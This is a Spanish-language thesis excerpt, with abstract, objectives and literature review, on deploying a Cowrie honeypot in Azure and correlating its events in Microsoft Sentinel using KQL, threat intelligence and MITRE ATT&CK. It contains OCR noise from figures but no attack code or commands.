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RESUMEN

Esta investigacion aborda la implementacion de un sistema de honeypot Cowrie en
Microsoft Azure, integrado con Microsoft Sentinel para la deteccion proactiva de amenazas.
Ante la limitada visibilidad de los Centros de Operaciones de Seguridad (SOC) tradicionales,
este proyecto propone una arquitectura de defensa que correlaciona eventos del honeypot con
inteligencia de amenazas para identificar patrones de ataque en tiempo real, superando asi la

reactividad convencional.

El proyecto surge de la necesidad de anticiparse a intrusiones en entornos en la nube,
estableciendo como objetivo principal el fortalecimiento de la deteccion temprana mediante
el andlisis avanzado de eventos. Fundamentado en la triada CIA, el papel del SOC moderno y
las capacidades de Microsoft Sentinel como SIEM nativo, el estudio emplea el lenguaje KQL
para el procesamiento de datos y utiliza el marco MITRE ATT&CK para mapear tacticas y

técnicas de adversarios, lo cual optimiza la respuesta ante incidentes.

El desarrollo técnico comprendio la creacion de un entorno en Azure con una maquina
virtual Ubuntu ejecutando Cowrie en contenedores Docker, configurando reglas de seguridad,
la ingesta de logs via Data Collection Rules hacia Log Analytics y la activacion de
inteligencia de amenazas. Tras el despliegue, se detectaron 707 direcciones IP Unicas,
permitiendo clasificar amenazas segin su nivel de riesgo y confirmar tanto ataques conocidos
como actividades maliciosas emergentes. El mapeo de los comandos mas frecuentes, como la
manipulacion de archivos SSH o descargas de malware mediante utilidades estandar, valido

la eficacia del honeypot en la identificacion de tacticas, técnicas y procedimientos (TTPs)
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reales, manteniendo un costo operativo estimado de 150 USD mensuales que asegura su

viabilidad econdmica.

En conclusion, esta arquitectura demuestra ser tanto técnica como financieramente
sostenible para mejorar la deteccion temprana en entornos empresariales. Se recomienda
escalar el monitoreo hacia otros tipos de honeypots y avanzar en la automatizacion de
respuestas mediante soluciones SOAR para maximizar la eficacia operativa del SOC frente a

amenazas modernas.

Palabras Claves:

e Seguridad en la nube: Engloba el entorno de despliegue principal del proyecto.

e Honeypot: Identifica la herramienta de engafio utilizada para la captura de

ataques.

e Microsoft Sentinel: Especifica la solucion SIEM (Security Information and

Event Management) empleada para la gestion de eventos.

e Deteccion proactiva de amenazas: Define el valor estratégico y el objetivo

central de tu investigacion.

e Inteligencia de amenazas: Hace referencia al uso de fuentes externas para

correlacionar y dar contexto a los ataques capturados.

e Marco MITRE ATT&CK: Indica la metodologia utilizada para mapear y

clasificar el comportamiento de los atacantes.



Honeypot y correlacion en Azure Sentinel 8

ABSTRACT

This research addresses the implementation of a Cowrie honeypot system on
Microsoft Azure, integrated with Microsoft Sentinel for proactive threat detection. Given the
limited visibility of traditional Security Operations Centers (SOCs), this project proposes a
defense architecture that correlates honeypot events with threat intelligence to identify attack

patterns in real-time, thereby transcending conventional reactivity.

The project arises from the necessity to anticipate intrusions in cloud environments,
establishing the primary objective of strengthening early detection through advanced event
analysis. Grounded in the CIA triad, the role of the modern SOC, and the capabilities of
Microsoft Sentinel as a cloud-native SIEM, the study employs KQL for data processing and
utilizes the MITRE ATT&CK framework to map adversary tactics and techniques, which

optimizes incident response.

The technical development involved creating an Azure environment with an Ubuntu
virtual machine running Cowrie in Docker containers, configuring security rules, log
ingestion via Data Collection Rules into Log Analytics, and activating threat intelligence.
Following deployment, 707 unique IP addresses were detected, enabling threat classification
by risk level and confirming both known attacks and emerging malicious activities. Mapping
the most frequent commands, such as SSH file manipulation or malware downloads via
standard utilities, validated the effectiveness of the honeypot in identifying real Tactics,
Techniques, and Procedures (TTPs), while maintaining an estimated operating cost of 150

USD per month, ensuring economic viability.

In conclusion, this architecture proves to be both technically and financially

sustainable for enhancing early detection in enterprise environments. It is recommended to
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scale monitoring to other types of honeypots and advance response automation through

SOAR solutions to maximize the SOC's operational effectiveness against modern threats.

Keywords:

Cloud Security: Refers to the protection of cloud-based infrastructure and

services, which serves as the primary environment for the project's deployment.

Honeypot: Represents the deceptive technology used to lure, capture, and

analyze malicious activity to improve security posture.

Microsoft Sentinel: Identifies the cloud-native Security Information and Event
Management (SIEM) solution used for advanced event correlation and security

orchestration.

Proactive Threat Detection: Highlights the strategic approach of identifying
and mitigating threats before they cause damage, moving beyond traditional

reactive methods.

Threat Intelligence: Refers to the use of external data and context to identify

and correlate attacks, providing deeper insights into malicious traffic.

MITRE ATT&CK Framework: Defines the standardized knowledge base
used to map and classify adversary tactics, techniques, and procedures (TTPs)

observed during the research
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CAPITULO 1

1. Introduccion

El presente proyecto de investigacion se enfoca en el disefio e implementacion de un
sistema de honeypot en la plataforma Microsoft Azure, utilizando el honeypot Cowrie como
mecanismo de captura de actividad maliciosa en un entorno controlado. La solucién contempla
la exposicion de servicios simulados a través de una maquina virtual con direccion IP publica 'y
la habilitacion de puertos especificos, con el propdsito de emular un sistema vulnerable que
permita atraer intentos reales de intrusion.

Los eventos generados por el honeypot seran recolectados, procesados e integrados en
Microsoft Sentinel, donde se realizara la ingesta y correlacion de datos mediante consultas en
Kusto Query Language (KQL). Este enfoque permitira transformar los registros capturados en
informacion accionable, integrandolos con fuentes de inteligencia de amenazas propias del
SIEM para identificar patrones, detectar comportamientos anémalos y fortalecer las
capacidades de monitoreo.

La relevancia de esta investigacion radica en la necesidad de adoptar enfoques
proactivos en ciberseguridad, especialmente en entornos cloud, donde la superficie de ataque es
cada vez mas amplia y dinamica. A diferencia de los modelos tradicionales de deteccion, que
dependen de eventos ya ocurridos, el uso de honeypots permite anticiparse a los ataques,
capturando informacion directa sobre las tacticas y técnicas empleadas por los atacantes.

En este contexto, el proyecto propone no solo la implementacion de un honeypot, sino
su integracion efectiva con un sistema SIEM que permita correlacionar los eventos generados
con otras fuentes de datos, enriqueciendo la deteccion mediante inteligencia de amenazas. De
esta manera, se busca demostrar como una arquitectura orientada a la deteccion temprana y la
defensa proactiva puede mejorar significativamente la visibilidad y la capacidad de respuesta

ante incidentes de seguridad.
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1.1. Definicion del proyecto

El proyecto consiste en la implementacion de un sistema de Honeypot dentro de la
plataforma Microsoft Azure para capturar y analizar actividades maliciosas en un entorno
controlado, enviando estos registros a un Log Analytics Workspace para su integracion en
Microsoft Sentinel. La propuesta surge ante la limitacion que muestran los SOC tradicionales,
los cuales operan con una visibilidad limitada o carecen de inteligencia de amenazas lo cual
hace que les cueste anticiparse ante ataques de forma proactiva. De acuerdo con los datos
recopilados en la eS 2026 SOC Survey, realizada a 444 profesionales de operaciones del area
seguridad se pudo identificar esta la falta de visibilidad a nivel empresarial como la principal
barrera para la efectividad de un SOC, sefialada por el 24% de los lideres de ciberseguridad
(SANS Institute, 2026), a esto se adicionamos el caracter reactivo de estos centros: segin
(CyberDefenders, 2026) los analistas en los SOC suelen revisar un alto volumen de alertas
con contexto limitado, dependiendo de indicadores externos en lugar de herramienta interna
que permita anticipar amenazas.

En entornos Cloud, el valor diferencial de un Honeypot radica en su capacidad para
actuar como un sensor avanzado que permite validar los tipos de ataques que se intentan
perpetrar contra servicios expuestos a Internet, antes de que estos logren afectar los activos
criticos, sin embargo, la brecha especifica identificada es que el despliegue de un honeypot de
forma aislada no garantiza la proteccidn; es imperativo resolver la falta de correlacion de estos
eventos con los logs recopilados en el SIEM para generar reglas de deteccion efectivas ante
patrones inusuales, es por ello que mediante el uso de consultas KQL y modelos de correlacion,
el sistema permitird mapear técnicas de intrusion al framework MITRE ATT&CK y enriquecer
los registros con feeds de inteligencia.

La correlacion avanzada se ejecutarda mediante el uso de reglas de analitica en el

lenguaje KQL, que tendran como fuente de inteligencia las IPs Origen, puertos, cantidad de
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eventos y comandos ejecutados en periodos de tiempo que seran utilizados como condiciones
para modelas reglas de Analitica programadas.

El trabajo busca demostrar como esta arquitectura fortalece la capacidad de monitoreo y
respuesta ante incidentes, comparando la eficacia de un entorno convencional frente a uno
robustecido mediante la integracion proactiva de sistemas de deteccion; Para medir este
impacto, se definira como métrica la cantidad de eventos detectados, asi como el volumen de
direcciones IP y dominios maliciosos identificados durante el periodo de andlisis, es decir, se
realizard una comparacion del numero de IPs detectadas por el Honeypot tinicamente, el
nimero de IPs detectadas por la tabla de Microsoft tinicamente y las IPs detectadas por ambas
tablas, finalmente, se aplicard una asignacion de puntaje del riesgo (Critico, Alto, Medio, Bajo
o Informativo) de la IP en base al comportamiento detectado calculado en funcién de si
coincide con los indicadores de la tabla de Threat Intelligence de Microsoft y a la cantidad de
comandos sospechosos ejecutados en el Honeypot, como por ejemplo intentos de descarga,

escalamiento de privilegios o ejecucion remota.

1.2. Justificacion e importancia del trabajo de investigacion

Ante la falta de visibilidad en los Centros de Operaciones de Seguridad y las amenazas
cada vez mas sofisticadas y dinamicas resulta imperativo adoptar un enfoque proactivo
direccionado a identificar anomalias de forma temprana, con el fin de mitigar impactos
considerables en la infraestructura o que se materialice un incidente de Seguridad.

Actualmente los SOC tradicionales cuentan con visibilidad limitada, ligada a las
escasas herramientas y activos que se encuentran integradas, de hecho, la mayoria de ellos
carecen de Inteligencia de amenazas o su integracion tiene un costo considerable, por falta de
un Honeypot que pueda capturar actividad maliciosa de manera controlada y asi, anticiparse a
un posible ataque, en entornos Cloud mas especificamente el valor de tener un Honeypot se

relaciona con la anticipacion de validar que tipos de ataques se estan intentando perpetrar en
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servicios expuestos a Internet. Por otro lado, el simple hecho de levantar un Honeypot no
resuelve el problema, es de vital importancia correlacionar estos eventos con los logs
recopilados en el SIEM y crear reglas de deteccion efectivas que puedan detectar patrones
inusuales de manera oportuna.

La integracion de eventos generados mediante un honeypot a un SIEM aporta una
amplia fuente de informacion a los Equipos de Inteligencia de Amenazas respecto a los grupos
atacantes, Indicadores de Compromiso (I0OCs), tales como ips o dominios utilizados por grupos
APT (Amenazas Persistentes Avanzadas); asi como, técnicas destinadas a escanear e intentar
perpetrar posibles ataques. Por otro lado, mediante la integracion de estas fuentes de
inteligencias a un SIEM se facilita la caceria de amenazas basada en la infraestructura actual.
Esto, sumado a un plan de respuesta a incidentes alineado a los marcos de referencia como la
ISO/IEC 27035, garantiza una correcta respuesta frente a posibles ciberataques.

Utilizando un Honeypot de Cowrie, el cual requiere menores recursos de la maquina
virtual y menores costos mensuales de despliegue y mantenimiento en comparacion con
opciones como T-POT, el cual integra varios honeypot, para este escenario nos centraremos en
colectar logs de SSH, telnet y ejecucion de comandos dentro de la sesion simulada del
Honeypot, de la misma forma el sistema operativo seleccionado para levantar el Cowrie sera
Ubuntu dadas sus bondades de compatibilidad, estabilidad y su facilidad de integracion con el
entorno de Azure.

Ademés, para fortalecer la validacion del sistema propuesto, se contempla la ejecucion
de una campafia de ataque simulada y controlada contra el honeypot. Esta actividad permitira
observar el comportamiento del sistema ante tacticas reales de intrusion y, posteriormente,
mapear las técnicas identificadas al framework MITRE ATT&CK. Con ello se busca evaluar la
capacidad del honeypot y de Microsoft Sentinel para detectar, clasificar y correlacionar

actividades maliciosas alineadas a estandares internacionales de ciberseguridad.
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El aporte fundamental de este trabajo es la creacion de una Arquitectura de Defensa
Proactiva Replicable. A diferencia de una implementacion simple, este proyecto de tesis
entregard un modelo de configuracion de seguridad (Hardening) y un repositorio de reglas de
deteccion (Deteccion como codigo) que las organizaciones pueden adoptar para robustecer sus

SOC actuales bajo un esquema de costos optimizado en Azure.

1.3. Alcance del estudio

e Se implementard un honeypot en entorno virtual controlado dentro de la nube de

Microsoft Azure.

e Se simularan campafias de ataque dirigidas que incluyen: Escaneos con Nmap,
Intentos de intrusion para la ejecucion de comandos remotos en el servicio

emulado de SSH.

e Se definira un volumen estimado de generacion de eventos de seguridad en
conjunto con logs diarios. El volumen de datos se estimard mediante la
exposicion del honeypot a internet durante un periodo de 30 dias, mismos que
seran evaluados mediante conteos diarios utilizando logica construida en

consultas KQL.

e Para la evaluacion de la efectividad de la solucion, se estableceran métricas

como.

e Realizar la integracion en el entorno sin honeypot y con honeypot modificando

las fuentes de Inteligencia asociadas a las reglas de analitica.

e Se realizara la ingesta y correlacion de indicadores de compromiso (IOCs)
provenientes del honeypot cowrie, integrandolos con feeds de inteligencia de

amenazas (Microsoft Threat Intelligence), con el objetivo de enriquecer los
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registros del SIEM y mejorar la precision en la deteccion de eventos de

seguridad.

e Se generaran alertas de seguridad mediante la implementacion de reglas de

analitica desarrolladas en lenguaje KQL.

e Se realizara un analisis de costos del entorno implementado en la nube de

Azure, con el fin de evaluar la viabilidad econdémica de la solucion.

e Se documentard el proceso de implementacion y configuracion del escenario de

pruebas el cual contiene Microsoft Sentinel, donde se almacenan las consultas

KQL, las reglas NSG configuradas, los resultados obtenidos y una maquina en

Azure donde se despleg6 el Honeypot.

1.4. Objetivos
1.4.1 Objetivo general
Implementar un honeypot Cowrie en Microsoft Azure e integrar sus eventos con

Microsoft Sentinel para mejorar la visibilidad de amenazas y la deteccion temprana de
ciberataques mediante técnicas de correlacion y andlisis de eventos, comparando los resultados

obtenidos con las fuentes de inteligencia de amenazas de Microsoft.

1.4.2. Objetivo especifico

e Disefiar un entorno seguro y controlado en Microsoft Azure para el despliegue

del honeypot.

e Integrar los registros generados por el honeypot con un Log Analytics

Workspace y habilitar Microsoft Sentinel.

e Desarrollar un listado de reglas de analitica que permitan identificar intentos de

intrusion basados en los resultados del Honeypot por periodos especificos de
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tiempo.

e Analizar los eventos capturados para identificar comportamientos maliciosos y

clasificar tacticas y técnicas utilizadas por atacantes.

e Realizar una evaluacién comparativa entre un entorno sin honeypot y otro con
honeypot, enfocandose en la fiabilidad de las ips comparandolas en diversas

herramientas como virus total.

e Obtener un listado de comandos ejecutados desde dichas ips con el fin de
evidenciar el aporte del sistema propuesto en la deteccion de actividades

maliciosas.
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CAPITULO 2
2. Revision de literatura
2.1. Estado del arte

La evolucion de las plataformas de Gestion de eventos e informacion de Seguridad
(SIEM) hacia arquitecturas cloud-native ha transformado la deteccion de amenazas al mejorar
significativamente la escalabilidad, la correlacion y la eficiencia de costos. La eficacia de
soluciones como Microsoft Sentinel reside en su capacidad para aplicar analitica avanzada
sobre volimenes masivos de datos, optimizando las operaciones en entornos hibridos y de
nube (Sikos, L. F., 2023). Estudios independientes, como el andlisis de Impacto Econémico
Total (TEI) realizado por Forrester (2024), cuantifican este avance: las instituciones que
implementan Microsoft Sentinel reportan un retorno de inversion del 234% en tres afios, una
reduccion del 79% en falsos positivos mediante analitica de comportamiento y una
disminucion del 93% en el tiempo de despliegue de nuevas conexiones. Ademas, la
arquitectura de observabilidad nativa permite gestionar la complejidad de entornos multi-nube

con mayor precision (Al-Rubaian, A., & Al-Turjman, F., 2025)

Mas allé de la centralizacion de registros, Sentinel actiia como una plataforma de
Orquestacion, Automatizacion y Respuesta (SOAR), facilitando la ejecucion de playbooks que
reducen la carga operativa ante incidentes complejos (Microsoft, 2024). Este nivel de
automatizacion es respaldado por enfoques que integran la respuesta activa dentro de las
operaciones del SOC, permitiendo que la respuesta sea tan rapida como la deteccion (Patel, K.,
& Gupta, M. , 2024).

En el ambito de la defensa activa, el despliegue de sistemas de engafio (honeypots) en
la nube ha emergido como una estrategia vital para obtener inteligencia contextualizada.

Investigaciones recientes subrayan que la integracion de estos sistemas con plataformas SIEM
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permite a los equipos analizar vectores de ataque en tiempo real, superando las limitaciones de
los sistemas de defensa pasivos (Varghese, S., et al., 2024). Dentro de este ecosistema,
herramientas como Cowrie se han consolidado por su capacidad para emular servicios
vulnerables (SSH/Telnet), capturando no solo el trafico de fuerza bruta, sino el comportamiento
del atacante tras la intrusioén (D’souza, E., 2023). La eficacia de estos honeypots se ve
potenciada cuando se despliegan mediante estrategias estandarizadas en entornos virtualizados,

lo que garantiza su escalabilidad (Sanchez-Gomez, J., et al. , 2024).

La integracion técnica entre Cowrie y Microsoft Sentinel representa un avance
significativo: la ingesta de registros hacia el SIEM, procesada mediante consultas KQL,
transforma datos brutos en alertas accionables. Esta sinergia facilita el mapeo de tacticas al
framework MITRE ATT&CK, permitiendo identificar patrones antes de que comprometan la
infraestructura productiva (Husari, G., 2022). Este proceso se optimiza ain mas gracias a la
analitica de comportamiento avanzada, que mejora la precision en la caza de amenazas (threat

hunting) (Zhang, Y., & Liu, H. , 2025).

Finalmente, la literatura actual enfatiza que el modelo de "Deteccion como Codigo" y el
uso de listas de vigilancia (watchlists) son pilares fundamentales en un SOC moderno. La
capacidad de Sentinel para correlacionar eventos de honeypots con inteligencia externa permite
una reduccion drastica en el Tiempo Medio de Deteccion (MTTD) y el Tiempo Medio de
Respuesta (MTTR) (Al-Zewairi, M., 2022). La estandarizacion de estos procesos bajo el
paradigma de "Deteccion como Cddigo" se ha convertido en la norma para garantizar una
postura de seguridad robusta y reproducible en entornos hibridos (Chen, X., & Wang, J. ,

2026).
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2.2. Marco teorico
2.2.1. Seguridad de la Informacion y Deteccion de Incidentes

La seguridad de la informacion se fundamenta en la proteccion de los activos
tecnologicos y de informacion de una organizacion mediante los principios de
confidencialidad, integridad y disponibilidad (CIA).

Figura 1.

Modelo CIA

Integridad

&———— Disponibilidad ———>

Nota.: Adaptado de Definicion de la triada de la CIA: ejemplos de
confidencialidad, integridad y disponibilidad, por Wallarm, 2026

(https://lab.wallarm.com/what/definicion-de-la-triada-de-la-cia-ejemplos-de-

confidencialidad-integridad-y-disponibilidad/?lang=es).
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Estos principios constituyen la base para el disefio e implementacion de controles
técnicos y organizacionales orientados a mitigar riesgos y reducir la probabilidad de impacto
frente a eventos de seguridad.

Las normas internacionales ISO/IEC 27001 e ISO/IEC 27035 establecen un marco
estructurado para la gestion de la seguridad de la informacion y la respuesta a incidentes, en
conjunto con herramientas como un SIEM se logra soportar los requisitos establecidos,
promoviendo la identificacion temprana de amenazas, la contencion oportuna y la recuperacion
controlada ante eventos de ciberseguridad. (Schim, 2023)

En entornos modernos, caracterizados por infraestructuras distribuidas y servicios
expuestos a Internet, la deteccion reactiva resulta insuficiente. Por tal motivo, se han adoptado
enfoques proactivos basados en monitoreo continuo, correlacion y anélisis contextual de
eventos, los cuales permiten anticiparse a posibles amenazas y reducir el tiempo medio de

deteccion (MTTD). (Torg, 2025)

2.2.2. Centro de Operaciones de Seguridad (SOC)

El Centro de Operaciones de Seguridad (SOC), es un equipo encargado del monitoreo
continuo, analisis, deteccion y respuesta ante eventos de seguridad que afectan a una
organizacion. Su funcion principal consiste en centralizar la visibilidad de los activos
tecnologicos, analizar grandes volumenes de datos y coordinar acciones de respuesta ante
incidentes. (Microsoft, 2026)

Un SOC moderno integra multiples fuentes de informacion, como dispositivos de red,
endpoints, servicios en la nube y aplicaciones criticas. Generan eventos que, al ser analizados
de manera aislada, pueden carecer de contexto suficiente; sin embargo, mediante técnicas de
correlacion y analisis centralizado, es posible identificar patrones complejos de ataque.

(Microsoft, 2026)
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En entornos cloud, los SOC han evolucionado hacia modelos hibridos o completamente
basados en la nube, apoyandose en plataformas SIEM nativas que ofrecen escalabilidad, alta
disponibilidad y capacidades avanzadas de analisis. La incorporacion de mecanismos activos
de deteccion, como los honeypots, permite ampliar la superficie de visibilidad y obtener

informacion directa sobre intentos reales de ataque contra la infraestructura.

2.2.3. Sistemas de Gestion de Informacion y Eventos de Seguridad (SIEM)

Un Sistema de Gestion de Informacion y Eventos de Seguridad (SIEM), es una
solucion encargada de recopilar, normalizar, almacenar y analizar eventos de seguridad
provenientes de multiples fuentes dentro de una infraestructura tecnoldgica. Su principal
objetivo es proporcionar una vision centralizada del estado de seguridad del entorno y facilitar

la deteccion de amenazas mediante analisis y correlacion de eventos. (Microsoft, 2026)

Los SIEM recopilan logs de dispositivos de red, sistemas operativos, aplicaciones,
servicios cloud y soluciones de seguridad, permitiendo identificar comportamientos anémalos
que podrian pasar desapercibidos de forma individual. Entre sus funcionalidades principales se
incluyen la correlacion de eventos, generacion de alertas, visualizacion mediante dashboards y
soporte para analisis forense.

2.2.4. Honeypots como mecanismos de deteccion proactiva

Un honeypot es un sistema o servicio disefiado intencionalmente para simular
vulnerabilidades o activos legitimos con el objetivo de atraer, detectar y analizar actividades
maliciosas. A diferencia de los sistemas tradicionales de proteccion, los honeypots no buscan
prevenir ataques, sino observar el comportamiento del atacante y recopilar informacion valiosa

sobre técnicas, herramientas y patrones utilizados. (Fortinet, 2026).
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En la era de la arquitectura Zero Trust, los honeypots han evolucionado para dejar de
ser componentes aislados y convertirse en herramientas de deteccion de alta fidelidad. Estudios
recientes destacan que el despliegue de honeypots en la periferia de la red cloud reduce
significativamente el tiempo de deteccion de intrusos (MTTD), al proporcionar sefiales de
alerta temprana basadas en interacciones no autorizadas con activos falsos. (CISA., 2025)

Los honeypots se clasifican cominmente segtin su nivel de interaccion:

e Baja interaccion, que simulan servicios basicos y reducen el riesgo operativo.

e Media interaccion, que permiten una interaccion limitada.

e Alta interaccidn, que replican entornos reales con mayor nivel de detalle.
En entornos cloud, los honeypots actiian como sensores avanzados, proporcionando visibilidad
directa sobre escaneos, intentos de acceso no autorizado, explotacion de servicios y abuso de
credenciales. Sin embargo, su verdadero valor se alcanza cuando los eventos generados son
correlacionados con otros registros de seguridad dentro de un SIEM, permitiendo

contextualizar las amenazas observadas.

Para este proyecto se utiliza Cowrie, un honeypot de media interaccion especializado en
la simulacion de servicios SSH y Telnet, ampliamente adoptado por la comunidad debido a su
facilidad de implementacion, bajo costo y capacidad de registrar comandos, credenciales y
comportamientos maliciosos, mismos que pueden ser capturados y normalizados en el SIEM

de Microsoft Sentinel (Warren Z. Cabral, 2022)

2.2.5. Correlacion de eventos y analisis mediante KQL

La correlacion de eventos consiste en analizar multiples registros de seguridad de forma
conjunta con el fin de identificar relaciones temporales, 16gicas o contextuales que indiquen
una actividad maliciosa. Esta técnica permite transformar eventos aislados en incidentes

significativos, facilitando su analisis y respuesta.
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Microsoft Sentinel utiliza Kusto Query Language (KQL) como lenguaje principal para
la consulta y analisis de datos. KQL permite aplicar filtros, agregaciones, funciones estadisticas
y enriquecimiento de datos, posibilitando la deteccion de patrones complejos de ataque.
(Microsoft , 2026)

Mediante la correlacion de eventos provenientes de honeypots con otros logs del
entorno como autenticaciones, trafico de red o actividad en maquinas virtuales es posible
identificar fases completas del ataque, desde el reconocimiento inicial hasta intentos de

persistencia o evasion de defensas.

2.2.6. Marco MITRE ATT&CK

El framework MITRE ATT&CK es una base de conocimiento que documenta tacticas,
técnicas y procedimientos (TTPs) utilizados por actores maliciosos en ataques reales. Este
marco permite categorizar y entender el comportamiento del adversario a lo largo del ciclo de
ataque. (IBM , 2026)

Microsoft Sentinel incorpora de forma nativa el mapeo de detecciones al marco MITRE
ATT&CK, facilitando la clasificacion de eventos segun tacticas como Reconocimiento, Acceso
Inicial, Ejecucion, Persistencia, Evasion de Defensa y Comando y Control. Este enfoque
estandarizado mejora la comprension del incidente y permite priorizar acciones de respuesta en
funcion de la fase del ataque.

En el contexto de este proyecto, las técnicas observadas a través del honeypot son
mapeadas al framework MITRE ATT&CK, permitiendo evaluar el nivel de exposicion del
entorno y la efectividad del sistema de deteccion implementado. Existen 14 tacticas, 216
técnicas y 475 sub-tecnicas que cubren las amenazas que se pueden utilizar por un
ciberdelincuente para perpetrar un ataque, ademas de estas técnicas este framework incluye

informacion de campaias y Grupos APT. (MITRE Corporation , 2025)
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Figura 2.
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Nota.: Adaptado de MITRE ATT&CK® Enterprise Matrix, por MITRE Corporation,

s.f. (https://attack.mitre.org/matrices/enterprise/).

2.2.7. Inteligencia de Amenazas

La Inteligencia de Amenazas (Cyber Threat Intelligence — CTI) se define como el

conocimiento basado en evidencia sobre amenazas actuales o potenciales, incluyendo

indicadores de compromiso (IoCs), tacticas, técnicas, procedimientos y motivaciones de los

atacantes. La CTI se clasifica cominmente en niveles estratégico, tactico y operativo.

(Microsoft, 2026).

La automatizacion del ciclo de vida de la Inteligencia de Amenazas, mediante el uso de

protocolos estandarizados, es hoy un requerimiento mandatorio para cualquier centro de

operaciones. La integracion de fuentes dentro de ecosistemas cloud permite el enriquecimiento

automatico de los registros de auditoria, transformando indicadores brutos (como direcciones

IP maliciosas) en contextos de ataque accionables que permiten una respuesta proactiva ante

campaiias de malware emergentes. (OASIS Open , 2024)
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2.2.7.1. Inteligencia de Amenazas Tactica.
Permite a los centros de operaciones de seguridad (SOC) anticiparse ante futuros
ataques y optimizar la deteccion de incidentes en curso. Ademas, es ideal para rastrear
amenazas persistentes avanzadas (APT) y otros atacantes maliciosos que actian de forma

encubierta.

2.2.7.2. Inteligencia de Amenazas Operativa.
Este tipo de inteligencia tiene como objetivo brindar informacion que aporte en la toma
de decisiones, mediante la identificacion de actores de amenazas que pueden atacar a

organizaciones y definir la estrategia mas efectiva para hacerle frente a los ataques.

2.2.7.3. Inteligencia de Amenazas Estratégica.

Otorga una vision minuciosa ante las amenazas cibernéticas que afrontan las
organizaciones permitiendo alinear inversiones y estrategias de gestion de riesgos ante una
perspectiva de seguridad digital.

Microsoft Sentinel permite la integracion de inteligencia de amenazas mediante
Microsoft Threat Intelligence, enriqueciendo los eventos con informacion sobre la reputacion
de direcciones IP, dominios y otros indicadores. Esta integracion mejora la capacidad de
deteccion, reduce falsos positivos y facilita la priorizacion de alertas relevantes.

La combinacion de honeypots con inteligencia de amenazas proporciona una vision
enriquecida del panorama de amenazas, permitiendo no solo detectar ataques, sino también
comprender su origen, intencion y posibles impactos. Este enfoque fortalece significativamente
la deteccion temprana y proactiva de eventos de seguridad en entornos cloud.

2.2.8. Indicadores de Compromiso (I0Cs)

Datos que identifican cuando un sistema pudo haber sido atacado por una amenaza

cibernética y a su vez, responde de manera eficaz ante dichos ataques. Ademas, ofrecen
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informacion clave a los equipos especializados para analizar causas e incidencia tras una
brecha o violacion de red de seguridad. (SentinelOne, 2025).

2.2.9. Estandares STIX/TAXII

Structured Threat Information eXpression es una iniciativa global para impulsar la
comunicacion de informacion sobre amenazas y a su vez, la colaboracion entre plataformas y
organizaciones. (Cloudflare, 2026)

Si bien STIX define la estructura de la informacion de amenazas, es necesario
incorporar el concepto de TAXII (Trusted Automated eXchange of Indicator Information), el
cual corresponde a un protocolo disefiado para el intercambio automatizado de dicha
informacion entre plataformas y organizaciones. En este contexto, TAXII permite la
distribucion de indicadores de compromiso (IoC) y datos de inteligencia en formato STIX de
manera estandarizada.

En relacidén con Microsoft Sentinel, TAXII tiene un rol fundamental, ya que posibilita la
ingesta automatizada de inteligencia de amenazas desde fuentes externas (feeds), permitiendo
que estos indicadores sean utilizados en la correlacion de eventos, generacion de alertas y

mejora en la deteccion de actividades maliciosas dentro del entorno monitoreado.

2.2.1 Honeypot de Cowrie

Se trata de un Honeypot con interaccion entre media (emula un sistema UNIX en
Python) y alta (Simula un proxy SSH) que simula servicios de SSH y Telnet vulnerables es una
herramienta ideal para la deteccion de amenazas, recogida de malware y el analisis de los
ataques, brindando inteligencia de amenazas e integracion con herramientas SIEM. (Cowrie,
2024).

Se trata de un Honeypot con interaccion entre media (emula un sistema UNIX en
Python) y alta (Simula un proxy SSH) que simula servicios de SSH y Telnet vulnerables es una

herramienta ideal para la deteccion de amenazas, recogida de malware y el analisis de los
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ataques, brindando inteligencia de amenazas e integracion con herramientas SIEM. (Cowrie,
2024). En este proyecto, Cowrie sera tratado como un honeypot de media interaccion, debido a
que simula servicios SSH y Telnet en un entorno controlado, permitiendo la recoleccion de
eventos e indicadores de ataque sin comprometer un sistema real.

Figura 3.

Arquitectura de Honeypot Cowrie
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Nota.: Adaptado de Install Cowrie Honeypot on Ubuntu, por HackerTarget, 2018

(https://hackertarget.com/cowrie-honeypot-ubuntu/).

2.2.2 Arquitectura de un Sistema de Honeypots Integrado con SIEM
Los honeypots modernos forman parte de arquitecturas de seguridad integradas que
incluyen mecanismos de monitoreo, analisis y despliegue en entornos cloud. (D, 2023)

Esta arquitectura generalmente incluye:

e Sensores (honeypots): Capturan eventos maliciosos.
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e Recoleccion de logs: Almacenamiento centralizado.
e SIEM: Andlisis y correlacion de eventos.

e Inteligencia de amenazas: Enriquecimiento de datos.

Figura 4.

Arquitectura de un Honeypot Integrado con SIEM

Arquitectura de un Sistema de Honeypots Integrado con SIEM

1. CAPA DE HONEYPOTS 2. RECOLECCION DE LOGS 3. PLATAFORMA SIEM 4. INTELIGENCIA DE AMENAZAS | 5. RESPUESTA Y ACCIONES
Captura de eventos : Agregacion y transporte (Microsoft Sentinel) Enriquecimiento de eventos ‘ Reaccién ante incidentes
de eventos Anlisis y correlaciéon

i A s ot e I b e et N B - r
I He de Baja Interaccién ] ! !
|| FEnSPECL e e | @ Aoentedelogs ! | ' i Playbooks de !
| | g (Fluentd/Log Analytics' ! Feeds de loCs ! ! Automatizacién |
! | ¥ Ageny A (Microsoft / ! ! !
: : ‘ Comercisles) || | (hzure Logi Ao |
1 | I ] ]
2. 1 1 Microsoft Sentinel 1 | |
(Ej: SSH, FTP, HTTP) : ‘ — H | | Em BioqueodelPs/URLs|
: Normalizacién d ! ! (Azure Firewall) !
i : e} ) ' ® Ingesta de Datos 4 )‘\/ MITRE ATT&CK ! i S !
|| Honeypot de At Interaccidn | | gy | | - A i (w1 1
i i i IS i i Aislamientode |
: ! Transporte Seguro | Correlacidn de Eventos ! I Recursos |
f @ - 0 (TLS/HTTPS) | hacndtdmii § i ey~
| H " Andlisis de Reputacién | f
i (Sistemas reales | i Deteccion de Amenazas @ (IP, Dominios, Hashes) | i
( Vulnerables) ! A e Incidentes H Notificaciones |
I S ] )( Envio ala Nube ! a = ! E (Email Teams, SMS) |
‘ = | (Azure) ‘ ‘ Dashboards y Visualizacion son Rumensns A ;
] @ 1 1 agm™ (OSINT) N |
: ! ! Alertas e Investigacion ! Reportes y Auditoria |
(IoT, Bases de datos, : ! de Incidentes : !
| i i

6. INFRAESTRUCTURA EN LA NUBE (MICROSOFT AZURE) DESCRIPCION GENERAL

< 3 Los capturan que son
D
N/ =. N recolectadas y enviadas a Microsoft Sentinel. Sentinel

correlaciona los eventos con inteligencia de amenazas

~EnaayfEs

Azure Virtual Virtual Network Security Log Analytics Azure Storage s Morior y aplica reglas analiticas para detectar incidentes.
